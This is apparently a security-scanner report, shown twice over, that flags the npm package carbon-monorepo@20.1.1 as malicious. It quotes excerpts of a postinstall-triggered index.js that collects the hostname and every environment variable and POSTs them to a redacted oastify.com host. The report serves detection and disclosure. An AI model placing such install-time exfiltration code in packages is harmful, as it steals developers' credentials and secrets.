carbon-monorepo@20.1.1: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

carbon-monorepo@20.1.1: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

1const { execSync } = require("child_process"); L2: const http = require("http"); L3: const os = require("os"); ... L21: const req = http.request(options); L22: req.write(data); L23: req.end(); ... L44: function env() { L45: return Object.entries(process.env) L46: .map(([key, val]) => `${key}=${val}`) ... L51: try { L52: exfilStatic("hostname", os.hostname()); L53: exfilStatic("env", env());

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.jsView on unpkg · L1

1Trigger-reachable chain: scripts.postinstall -> index.js L1: const { execSync } = require("child_process"); L2: const http = require("http"); L3: const os = require("os"); ... L21: const req = http.request(options); L22: req.write(data); L23: req.end(); ... L44: function env() { L45: return Object.entries(process.env) L46: .map(([key, val]) => `${key}=${val}`) ... L51: try { L52: exfilStatic("hostname", os.hostname()); L53: exfilStatic("env", env());

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

1const { execSync } = require("child_process"); L2: const http = require("http");

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L1

1const { execSync } = require("child_process"); L2: const http = require("http"); L3: const os = require("os"); ... L21: const req = http.request(options); L22: req.write(data); L23: req.end(); ... L44: function env() { L45: return Object.entries(process.env) L46: .map(([key, val]) => `${key}=${val}`) ... L51: try { L52: exfilStatic("hostname", os.hostname()); L53: exfilStatic("env", env());

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

1const { execSync } = require("child_process"); L2: const http = require("http"); L3: const os = require("os"); ... L21: const req = http.request(options); L22: req.write(data); L23: req.end(); ... L44: function env() { L45: return Object.entries(process.env) L46: .map(([key, val]) => `${key}=${val}`) ... L51: try { L52: exfilStatic("hostname", os.hostname()); L53: exfilStatic("env", env());

High

Command Output Exfiltration

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

index.jsView on unpkg · L1

•Trigger-reachable fixed external POST callback chain: scripts.postinstall -> index.js const http = require("http"); hostname: "[redacted].oastify.com", method: "POST", const req = http.request(options); req.write(data); hostname: "[redacted].oastify.com", method: "POST", const req = http.request(options);

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 6a4b6968fb4eea07 signatureType = suspicious_hashes sourceLabel = Datadog matchedPackage = @angular_devkit/core@99.1.1 matchedPath = index.js matchedIdentity = npm:QGFuZ3VsYXJfZGV2a2l0L2NvcmU:99.1.1 similarity = 1.000 shingleOverlap = 1 summary = Datadog malicious npm corpus sample: samples/npm/malicious_intent/@angular_devkit@core/99.1.1/2025-08-13-@angular_devkit_core-v99.1.1.zip

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

1const { execSync } = require("child_process"); L2: const http = require("http"); L3: const os = require("os"); ... L21: const req = http.request(options); L22: req.write(data); L23: req.end(); ... L44: function env() { L45: return Object.entries(process.env) L46: .map(([key, val]) => `${key}=${val}`) ... L51: try { L52: exfilStatic("hostname", os.hostname()); L53: exfilStatic("env", env());

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.jsView on unpkg · L1

1Trigger-reachable chain: scripts.postinstall -> index.js L1: const { execSync } = require("child_process"); L2: const http = require("http"); L3: const os = require("os"); ... L21: const req = http.request(options); L22: req.write(data); L23: req.end(); ... L44: function env() { L45: return Object.entries(process.env) L46: .map(([key, val]) => `${key}=${val}`) ... L51: try { L52: exfilStatic("hostname", os.hostname()); L53: exfilStatic("env", env());

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

1const { execSync } = require("child_process"); L2: const http = require("http");

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L1

1const { execSync } = require("child_process"); L2: const http = require("http"); L3: const os = require("os"); ... L21: const req = http.request(options); L22: req.write(data); L23: req.end(); ... L44: function env() { L45: return Object.entries(process.env) L46: .map(([key, val]) => `${key}=${val}`) ... L51: try { L52: exfilStatic("hostname", os.hostname()); L53: exfilStatic("env", env());

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

1const { execSync } = require("child_process"); L2: const http = require("http"); L3: const os = require("os"); ... L21: const req = http.request(options); L22: req.write(data); L23: req.end(); ... L44: function env() { L45: return Object.entries(process.env) L46: .map(([key, val]) => `${key}=${val}`) ... L51: try { L52: exfilStatic("hostname", os.hostname()); L53: exfilStatic("env", env());

High

Command Output Exfiltration

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

index.jsView on unpkg · L1

•Trigger-reachable fixed external POST callback chain: scripts.postinstall -> index.js const http = require("http"); hostname: "[redacted].oastify.com", method: "POST", const req = http.request(options); req.write(data); hostname: "[redacted].oastify.com", method: "POST", const req = http.request(options);

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 6a4b6968fb4eea07 signatureType = suspicious_hashes sourceLabel = Datadog matchedPackage = @angular_devkit/core@99.1.1 matchedPath = index.js matchedIdentity = npm:QGFuZ3VsYXJfZGV2a2l0L2NvcmU:99.1.1 similarity = 1.000 shingleOverlap = 1 summary = Datadog malicious npm corpus sample: samples/npm/malicious_intent/@angular_devkit@core/99.1.1/2025-08-13-@angular_devkit_core-v99.1.1.zip

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg